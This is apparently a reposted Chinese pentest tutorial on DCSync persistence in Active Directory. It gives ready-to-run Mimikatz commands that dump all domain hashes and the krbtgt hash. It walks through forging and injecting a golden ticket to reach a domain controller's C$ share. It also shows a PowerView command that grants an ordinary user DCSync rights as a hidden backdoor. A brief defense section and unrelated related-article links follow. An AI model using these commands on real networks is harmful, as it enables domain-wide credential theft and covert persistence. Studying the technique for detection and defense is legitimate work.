域内 dcsync 权限维持

一、原理 

20210825125600.png

DCSync 是域渗透中经常会用到的技术,其被整合在了 Mimikatz 中。在 DCSync 功能出现之前,要想获得域用户的哈希,需要登录域控制器,在域控制器上执行代码才能获得域用户的哈希。

Mimikatz的DCSync 功能:

该功能可以模仿一个域控制器,从真实的域控制器中请求数据,例如用户的哈希。该功能最大的特点就是不用登陆域控制器,即可远程通过域数据同步复制的方式获得域控制器上的的数据。

在默认情况下,只有 Administrators、Domain Controllers 和 Enterprise Domain Admins 组内的用户有权限使用 DCSync,但我们可以对域内普通用户添加 ACL (Access Control List) 实现普通用户也能调用 DCSync 功能。

权限维持思路:

        当获得了域内管理员权限,如果能修改域内普通用户的权限,使其具有DCSync权限的话,那么普通域用户也能导出域内用户的哈希,这样可以做一个隐蔽的权限维持。默认只有域控主机账号和域管理员能Dcsync,域管和邮件服务器的机器账号有写ACL的权限,可以给指定用户添加Dcsync来dump域哈希。

二、实际操作

利用 DCSync 导出域内哈希

当我们获取相应的权限后,可以利用 DCSync 功能导出域内用户的哈希值。其原理就是利用 DRS (Directory Replication Service)协议通过 IDL_DRSGetNCChanges 从域控制器复制用户哈希凭据。获得了域内用户的哈希后可以进一步利用。

通过 Mimikatz导出【还有其他的方法】

在获取权限的域成员主机上执行如下:

# 导出域内指定用户的信息(包括哈希值)
lsadump::dcsync /domain:whoamianony.org /user:administrator 
lsadump::dcsync /domain:whoamianony.org /user:administrator /csv# 导出域内所有用户的信息(包括哈希值)
lsadump::dcsync /domain:whoamianony.org /all    
lsadump::dcsync /domain:whoamianony.org /all /csv

利用 DCSync 制作黄金票据

在域渗透中,我们可以通过 DCSync 导出域控制器中 krbtgt 账户的哈希,并利用 krbtgt 账户的哈希制作黄金票据。

黄金票据的详情请看:《内网渗透测试:Kerberos协议相关安全问题分析与利用》

测试环境如下:

image-20210824221346483

假设攻击者已经拿下了内网主机 Windows 10,下面演示如何在内网中利用 DCSync 制作黄金票据来访问 DC 上的资源。

拿下 Windows 10 主机之后,我们加载 kiwi 模块:

load kiwi

image-20210824213230936

然后通过kiwi_cmd执行 Mimikatz 命令,使用 Mimikatz 的 DCSync 功能导出域控制器中 krbtgt 账户的哈希:

kiwi_cmd "lsadump::dcsync /domain:whoamianony.org /user:krbtgt"

image-20210824214421165

然后我们便可以通过 krbtgt 账户的哈希生成黄金票据了:

golden_ticket_create -u Administrator -d whoamianony.org -s S-1-5-21-1315137663-3706837544-1429009142 -k 6be58bfcc0a164af2408d1d3bd313c2a -t gold.tck

执行后生成的票据会咱是存放在你的 Kali 上,然后清空目标主机上的票据:

kerberos_ticket_purge

image-20210824215536411

最后使用kerberos_ticket_use注入刚才生成的票据即可:

kerberos_ticket_use gold.tck

image-20210824215648481

如上图所示,票据成功注入。此时,攻击者就可以利用 Windows 7 任意访问域控上的资源了:

dir \\DC\c$

image-20210824220003150

有了黄金票据之后的操作就简单了,懂得都懂!

利用 DCSync 进行域内权限维持

要想利用 DCSync 功能,得要拥有 Administrators、Domain Controllers 或 Enterprise Domain Admins 组内的用户权限,因此就让普通域用户拥有 DCSync 的操作权限,那么普通域用户也能导出域内用户的信息了,这样可以可以做一个隐蔽的后门进行权限维持。

具体做法就是为普通域用户添加三条 ACE 访问权限控制项,赋予任意以下任一用户的权限:

  • Domain Admins组内的用户
  • Enterprise Admins组内的用户

DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)

DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)

DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)

我们可以通过 Empire 框架中的 PowerView.ps1 脚本实现:

Import-Module .\powerview.ps1
​
# 为域用户 whoami 添加以上三条 ACE
Add-DomainObjectAcl -TargetIdentity "DC=whoamianony,DC=org" -PrincipalIdentity whoami -Rights DCSync -Verbose

image-20210824235724341

三、DCSync 的防御

DCSync 攻击的原理是模拟域控制器与域控制器之间的数据同步复制。最好的防御方法是给控制器设置白名单,将可信任的资产设置在允许同步的白名单内。

除此之外,我们还应尝试枚举 Active Directory 中所有用户的 ACL 查询出所有特权帐户,检测域内被添加 DCSync 权限的用户。Github 上有一个项目 ACLight便提供了这样的功能,只需执行项目中的 Execute-ACLight2.bat,便会生成以下三个文件:

Privileged Accounts - Layers Analysis.txt

Privileged Accounts Permissions - Final Report.csv

Privileged Accounts Permissions - Irregular Accounts.csv

文件中会显示出所有特权帐户。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/13577.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

java8总结

java8总结 java8新特性总结1. 行为参数化2. lambda表达式2.1 函数式接口2.2 函数描述符 3. Stream API3.1 付诸实践 java8新特性总结 行为参数化lambda表达式Stream Api 1. 行为参数化 定义:行为参数化,就是一个方法接受多个不同的行为作为参数&#x…

【机器学习】前沿探索,如何让前端开发更加搞笑

在当今数字化时代,机器学习的崛起为前端开发带来了巨大的机遇和挑战。随着人工智能和数据科学的不断进步,前端工程师不再局限于传统的界面设计和交互体验,而是开始探索如何将机器学习技术融入到他们的工作中,以创造更加智能、个性…

面了一个程序员,因为6休1拒绝了我

人一辈子赖以生存下去的主要就考虑三件事,职业,事业,副业,有其1-2都是很不错的。如果还没到40岁,那不妨提前想下自己可能遇到的一些情况,提前做一些准备,未雨绸缪些。 今年整体就业大环境也一般…

【手写大跟堆详解】

文章目录 大跟堆介绍大跟堆的结构大跟堆的应用场景大跟堆的代码实现 大跟堆介绍 大根堆(Max Heap)是一种特殊的二叉树结构,它满足以下两个条件: 1.完全二叉树:大根堆是一棵完全二叉树,即除了最后一层外&am…

Qt_电脑wifi相关操作

项目描述: 在做项目时用到了获取wifi的操作。在网上查找了好久资料,这里做一些总结。 这里有显示当前电脑wifi连接状态,列出wifi列表,连接断开wifi等函数。欢迎大家留言添加文章内容。 使用范围: windows电脑(中文的环境) 使用技术:windows的cmd命令。和对字符串的解析…

C语言学习笔记--运算符与表达式(7521字爆肝)

上午好,本来想上午改简历下午学习c语言的,但想了一下上午精力充沛还是用来学习比较好,虽然现在失业了,但住在我姨家有吃有住的,再次感谢我姨,我要抓紧时间修改简历,然后找个工作搬出去&#xff…

【回忆版】数据科学思维与大数据智能分析 2024考试

填空(18分)18个 1.对数变换对大数值的范围进行压缩,对小数值的范围进行扩展 2.提取出大量高频率项与低频率项相关联的虚假模式,即交叉支持(cross-support)模式 3.信息论中() 4.几种…

[数据集][目标检测]弹簧上料检测数据集VOC+YOLO格式142张2类别

数据集格式:Pascal VOC格式YOLO格式(不包含分割路径的txt文件,仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数):142 标注数量(xml文件个数):142 标注数量(txt文件个数):142 标注类别…

yolov8训练自己数据集时出现loss值为nan。

具体原因目前暂未寻找到。 解决办法 将参数amp改成False即可。 相关资料: https://zhuanlan.zhihu.com/p/165152789 https://github.com/ultralytics/ultralytics/issues/1148

【BUG】Edge|联想电脑 Bing 搜索报错“Ref A: 乱码、 Ref B:乱码、Ref C: 日期” 的解决办法

文章目录 省流版前言解决办法 详细解释版前言问题描述与排查过程解决办法与总结 省流版 前言 我也不清楚咋滴了,Bing 搜索突然偶尔报错: 换了代理关了插件都报错。 参考: 我在用bing搜索时出现了如下代码,导致bing无法使用&am…

1 计算机硬件-CPU-校验码-存储系统-输入输出设备-总线结构

计算机硬件 考情分析:趋势很小,22年考过,根据趋势以后考的可能较小 基本组成:运算器,控制器,储存器,输入设备,输出设备运算器和控制器也统称为中央处理单元(CPU&#xf…

深度学习——图像分类(CNN)—测试模型

测试模型 1.导入必要的库2.加载测试数据集3.假设CSV文件中的图像文件名是完整的路径4.随机选择一张图片进行展示5.加载图像6.使用模型进行预测7.设置模型的预测结果8.计算准确率9.指定test文件夹路径10.读取名为image_path的图片11.加载图像12.检查图像是否为空 训练的模型是上…

eNSP学习——OSPF单区域配置

目录 相关命令 实验背景 实验目的 实验步骤 实验拓扑 实验编址 实验步骤 1、基础配置 2、部署单区域OSPF网络 3、检查OSPF单区域的配置结果 OSPF——开放式最短路径优先 基于链路状态的协议,具有收敛快、路由无环、扩展性好等优点; 相关命令 […

【JAVA基础之内部类】匿名内部类

🔥作者主页:小林同学的学习笔录 🔥小林同学的专栏:JAVA之基础专栏 目录 1.内部类 1.1 概述 1.1.1 什么是内部类 1.1.2 什么时候使用内部类 1.2 内部类的分类 1.3 成员内部类 1.3.1 获取成员内部类对象的两种方式 1.3.2 经典面试…

用C语言把一棵普通二叉树安排得明明白白

1. 树的相关术语 结点的度:一个结点含有的子树的个数称为该结点的度; 如上图:A的为6 叶结点或终端结点:度为0的结点称为叶结点; 如上图:B、C、H、I...等结点为叶结点 非终端结点或分支结点:度不…

【Linux】-Tomcat安装部署[12]

目录 简介 安装 安装部署JDK环境 解压并安装Tomcat 简介 Tomcat是由Apache开发的一个Servlet容器,实现了对Servlet和JSP的支持,并提供了作为Web服务器的一些特有功能,如Tomcat管理和控制平台、安全域管理和Tomcat阀等。 简单来说&#…

【软件工程】【23.10】p2

关键字: 软件复用技术、过程途径、特定需求是文档核心、数据字典条目、高内聚低耦合独立性、数据流图映射模块结构图、UML依赖、用例图关系、RUB迭代、程序规格说明等价类划分、有效性测试的目标、喷泉模型面向对象、软件验证过程、CMMI

【Linux】Centos7安装RabbitMQ

【Linux】Centos7安装RabbitMQ 下载 从 rabbitmq 的 GitHub 仓库下载 https://github.com/rabbitmq/rabbitmq-server/releases rabbitmq 是 erlang 语言编写的,需要先安装 erlang https://github.com/rabbitmq/erlang-rpm/releases 安装 使用rz命令上传 erlang 和 …

Polar 网站被黑

Polar 网站被黑 开题,挺好看的前端,可惜啥也没有。 信息搜集一波,扫目录出现几个敏感目录,但是没什么用。 继续搜集,在返回包中发现了HINT F5XDAXZQNZSV6ZRRNZSF63JTF4base32解码后是一个路由/n0_0ne_f1nd_m3/&#x…

数据仓库实验四:聚类分析实验

目录 一、实验目的二、实验内容和要求三、实验步骤1、建立数据表2、建立数据源视图3、建立挖掘结构Student.dmm4、部署项目并浏览结果5、挖掘模型预测 四、实验结果分析五、实验总结体会 一、实验目的 通过本实验,进一步理解基于划分的、基于层次的、基于密度的聚类…